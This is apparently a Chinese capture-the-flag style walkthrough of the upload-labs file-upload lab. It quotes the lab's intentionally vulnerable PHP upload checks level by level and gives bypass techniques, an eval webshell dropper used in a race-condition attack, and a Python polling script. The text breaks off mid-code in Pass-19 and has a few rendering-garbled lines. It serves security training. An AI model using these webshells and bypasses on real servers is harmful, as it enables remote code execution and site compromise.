文章目录
- 思维导图
- Pass-01(前端验证)
- Pass-02(MIMETYPE)
- Pass-03(黑名单验证)
- Pass-04(.htaccess)
- Pass-05(.user.ini)
- Pass-06(大小写绕过)
- Pass-07(空格绕过)
- Pass-08(点号绕过)
- Pass-09(::$DATA)
- Pass-10(. .)
- Pass-11(双写绕过)
- Pass-12(get00截断)
- Pass-13(post00截断)
- Pass-14(图片马)
- Pass-15(getimagesize)
- Pass-16(exif_imagetype)
- Pass-17(二次渲染绕过)
- Pass-18(条件竞争一)
- Pass-19(条件竞争二)
- Pass-20
- Pass-21(拼接绕过)
- 总结
思维导图
Pass-01(前端验证)
代码审计
- 使用了文件类型白名单;
- 仅前端过滤,可在前端删除函数、使用 burpsuite 抓包修改文件后缀名、停用 JavaScript 避开绕过。
lastIndexOf()
是 JavaScript 字符串的一个方法,用于返回指定字符或子字符串在目标字符串中最后一次出现的位置索引。
substring()
是 JavaScript 字符串的一个方法,用于从目标字符串中提取指定位置的子字符串。
indexOf()
是 JavaScript 字符串的一个方法,用于查找指定字符或子字符串在目标字符串中第一次出现的位置索引。
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
//lastIndexOf() 用于返回指定字符或子字符串在目标字符串中最后一次出现的位置索引
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
因为是前端验证,在谷歌浏览器中停用 JavaScirpt 即可
也可使用 burpsuite 抓包,直接修改文件后缀名
蚁剑连接
Pass-02(MIMETYPE)
代码审计
- Content-Type 类型白名单检测;
file_exists()
是 PHP 中的一个内置函数,用于检查文件或目录是否存在。
move_uploaded_file()
函数可以将上传的文件从临时位置移动到指定的目标位置。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
使用 burpsuite 抓包,将 Content-Type
类型改为 image/jpeg
即可
MIME类型是用于标识互联网上各种文件的数据格式的一种标准。它主要用于指示文件的媒体类型和子类型。
在网络通信中,MIME类型通常与文件的扩展名相关联,以便能够正确地解析和处理文件。例如,常见的MIME类型包括:
text/plain
:纯文本文件text/html
:HTML文件application/json
:JSON数据application/xml
:XML数据image/jpeg
:JPEG图像image/png
:PNG图像audio/mp3
:MP3音频video/mp4
:MP4视频当你在网络中传输文件时,服务器通常会根据文件的扩展名或内容来确定适当的MIME类型,并在HTTP响应的
Content-Type
头部字段中进行指定。这样,接收方就能够根据MIME类型来正确地解析和处理接收到的数据。
蚁剑连接
Pass-03(黑名单验证)
代码审计
- 黑名单过滤文件后缀名,黑名单不全
trim()
是一个用于去除字符串首尾空白字符的 PHP 函数。它可以去除字符串开头和结尾的空格、制表符、换行符以及其他空白字符。
deldot()
并不是 PHP 内置的函数。它可能是你自己定义的一个函数或者来自于某个特定的代码库。因此,我无法提供确切的解释和使用方法。
strrchr()
是 PHP 中的一个内置函数,用于在字符串中查找最后一次出现指定字符(或字符串)的位置,并返回该位置及其之后的所有字符。
in_array()
是 PHP 中的一个内置函数,用于检查一个值是否存在于数组中。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
本题为黑名单验证,由于 phpstudy 环境问题,需修改配置文件
修改 httpd-conf 配置文件
添加代码,修改完配置文件重启 phpstudy 服务器
AddType application/x-httpd-php .php .phtml .php2 .php3 .php4 .php5
上传 .php3
文件
蚁剑连接
Pass-04(.htaccess)
代码审计
- 黑名单过滤,没有过滤
.htaccess
文件
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
.htaccess 文件是一种用于配置 Apache Web 服务器的文件。它是一个隐藏文件,位于网站的根目录或特定目录中,具有名为".htaccess"的文件名。该文件使用 Apache 的配置指令,可以用来修改服务器的行为,如重定向 URL 、启用或禁用模块、设置文件权限等。
启用 .htaccess ,需要修改 httpd.conf ,启用 AllowOverride ,并可以用 AllowOverride 限制特定命令的使用。如果需要使用 .htaccess 以外的其他文件名,可以用 AccessFileName 指令来改变。例如,需要使用 .config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。
它里面有这样一段代码:AllowOverride None ,如果我们把None改成All
上传 .htaccess 文件
<FilesMatch 'shell.jpg'>
SetHandler application/x-httpd-php
</FilesMatch>
再上传 .jpg 的 shell 文件,蚁剑连接
Pass-05(.user.ini)
代码审计
- 黑名单中没有过滤 .php7 以及 .ini
- 可使用
php. .
点空格点
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
user.ini:自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。
user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是
.user.ini。user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。
想要引发 .user.ini 解析漏洞需要三个前提条件
服务器脚本语言为PHP
服务器使用CGI/FastCGI模式
上传目录下要有可执行的php文件
方法一
先上传 .user.ini 文件,再上传 .jpg 的 shell 文件
Auto_prepend_file=shell.jpg
方法二
使用php. .
点空格点,绕过上传
直接上传 .php 文件,使用 burpsuite 改包
蚁剑连接
Pass-06(大小写绕过)
代码审计
- 没有过滤大小写
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
黑名单过滤,但是没有使用 strtolower() 函数,可以使用大小写绕过黑名单
将 .php 后缀改为 .PHP
蚁剑连接
Pass-07(空格绕过)
代码审计
- 没有使用 trim() 函数去除空格
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
burpsuite 改包,添加空格
蚁剑连接
Pass-08(点号绕过)
代码审计
- 没有 f i l e n a m e = d e l d o t ( file_name = deldot( filename=deldot(file_name); 去掉末尾的点
str_ireplace()
是 PHP 中的一个内置函数,用于在字符串中进行不区分大小写的替换操作。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
burpsuite 抓包,在后缀添加点号 shell.jpg.
,蚁剑连接
Pass-09(::$DATA)
代码审计
- 黑名单中没有对 :: DATA 进行处理,可以使用 ::DATA 绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
php 在 window 的时候如果文件名 +":: D A T A " 会把 : : DATA" 会把 :: DATA"会把::DATA 之后的数据当成文件流处理,不会检测后缀名,且保持 “::$DATA” 之前的文件名,他的目的就是不检查后缀名。
上传 php 文件,抓包将后缀改为 shell.php::$DATA
使用蚁剑连接时需要删除 ::$DATA
Pass-10(. .)
代码审计
upload-labs 的 deldot() 函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
上传文件后,用 burpsuite 改后缀名,加点空格点
蚁剑连接
Pass-11(双写绕过)
代码审计
- str_ireplace() 函数寻找文件名中出现在后缀黑名单的字符,不区分大小写,替换为空格
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
上传 shell.php 使用 burpsuite 改后缀为 shell.pphphp 使用蚁剑连接
Pass-12(get00截断)
代码审计
- php 版本小于5.3
- magic_quotes_gpc=Off
substr()
函数是 PHP 中用于获取字符串的子串的函数。
strrpos()
是一个 PHP 内置函数,用于在字符串中查找最后一次出现指定字符(或字符串)的位置。
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
php 的一些函数的底层是 C 语言,而 move_uploaded_file 就是其中之一,遇到0x00会截断,0x表示16进制,URL 中%00解码成16进制就是0x00。当处理到00,就当作处理完成。
上传 shell.php 文件,burpsuite 改包
在 upload/
后面添加 shell.php%00
下方的后缀名改为 .jpg
蚁剑连接时需要删除蓝色部分的内容
Pass-13(post00截断)
代表审计
- 使用 post 发送的数据进行截断
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
上传 shell.jpg 改包,在后缀名之后添加占位符
将空格20改为00截断
蚁剑连接,需要删除蓝色部分的内容
Pass-14(图片马)
代码审计
- 读取判断上传文件的前两个字节,判断上传文件的类型,根据得到的文件类型重命名上传的文件
unpack()
是一个 PHP 内置函数,用于将二进制数据解包为一个关联数组或索引数组。
"C2chars"
表示按照无符号字符类型解析 2 个字节的数据。
intval($strInfo['chars1'].$strInfo['chars2'])
将解析结果中的两个字符拼接成一个字符串,并使用intval()
函数将其转换为整数类型。在 JPEG 文件中,文件的前两个字节通常是
FF D8
(十进制表示为255 216
),这是 JPEG 文件的标识码。
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
Jpg 格式图片的文件头标识:FFD8开头FFD9结尾
Png 格式图片的文件头标识:89 20 4E 47 0D 0A
Gif 格式图片的文件头标识:GIF89a GIF87a
方法一
生成图片马 /b 表示二进制模式处理 /a 表示 ascii 码模式处理
上传图片马,使用文件包含
构造 URL 为 ?file=upload/1820231117171357.jpg
蚁剑连接
方法二
上传 shell.gif 文件,修改数据
Pass-15(getimagesize)
代码审计
- getimagesize()检查是否为图片文件
file_exists()
是一个 PHP 内置函数,用于检查文件或目录是否存在。
image_type_to_extension()
是一个 PHP 内置函数,用于将图像类型转换为相应的文件扩展名。
stripos()
是一个 PHP 内置函数,用于在字符串中查找子字符串的第一次出现的位置,忽略大小写。
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
上传图片马,文件包含,蚁剑连接
Pass-16(exif_imagetype)
代码审计
- exif_imagetype() 读取一个图像的第一个字节并检查其后缀名。
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
需要开启 php_exif 模块
上传图片马,文件包含,蚁剑连接
Pass-17(二次渲染绕过)
代码审计
对上传的图片进行判断了后缀名、content-type,使用函数判断是否为 jpg、png、gif 图片,最后进行二次渲染。
basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名。
strrchr(string,char) 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
对于做文件上传之二次渲染建议用GIF
图片,相对于简单一点
上传正常的 gif 图片,下载回显的图片,使用 010Editor
编辑器进行对比两个 gif 图片内容,找到相同 Hex 的地方并插入 php 一句话木马,上传带有木马的 gif 图片
文件包含漏洞解析
蚁剑连接
Pass-18(条件竞争一)
代码审计
- 服务器收到文件后,先是将上传的文件保存,再与白名单对比,如果是 jpg、pen、gif 的一种,则将文件重命名,如果不符合,unllink() 函数就会删除该文件
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
如果继续上传图片马,网站没有文件包含漏洞,无法解析,只能上传 php 马
因为源码是先保存文件再判断,所以能在服务器删除木马之前访问解析,使用条件竞争上传绕过
<?php
file_put_contents('wwq.php','<?php @eval($_REQUEST[wwq])?>')
?>
不停的使用 burpsuite 发包,再用 python 脚本不停的访问上传的文件,在服务器删除文件的间隙执行文件,就会在当前目录下生成一个 shell.php 文件
先上传 php 文件,发送到 Intruder 模块
清除有效负载标记
设置无限发送空的 Payloads
调高线程数
编写 python 脚本不断的访问上传上去的 php 文件
import requests
url = "http://10.1.1.5/upload-labs/upload/shell.php"
i = 1
while True:
res = requests.get(url=url)
print(f"第{i}次访问")
i += 1
if res.status_code == 200:
print("上传成功")
break
开始发包
执行 python ,成功生成 wwq.php 文件
蚁剑连接
Pass-19(条件竞争二)
这一关存在 bug 上传的路径不在 upload 文件夹下,需要修改代码
代码审计
- 服务器先将文件后缀名与白名单对比,然后检查文件大小以及文件是否存在,文件上传之后对其进行了重命名
cls_arr_ext_accepted
:这是一个包含允许上传的文件扩展名的数组。只有扩展名在这个数组中的文件才会被接受。upload()
方法:这是用于上传文件的主要方法。它接受一个目标目录作为参数,并按照一系列步骤来处理上传文件。
isUploadedFile()
:检查文件是否成功上传。setDir()
:设置目标目录。checkExtension()
:检查上传文件的扩展名是否在允许的范围内。checkSize()
:检查上传文件的大小是否符合要求。checkFileExists()
:如果设置了检查文件是否存在的标志,检查目标目录中是否已存在同名文件。move()
:将上传的文件移动到目标目录。renameFile()
:如果设置了重命名文件的标志,将文件重命名。resultUpload()
:返回上传结果。
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
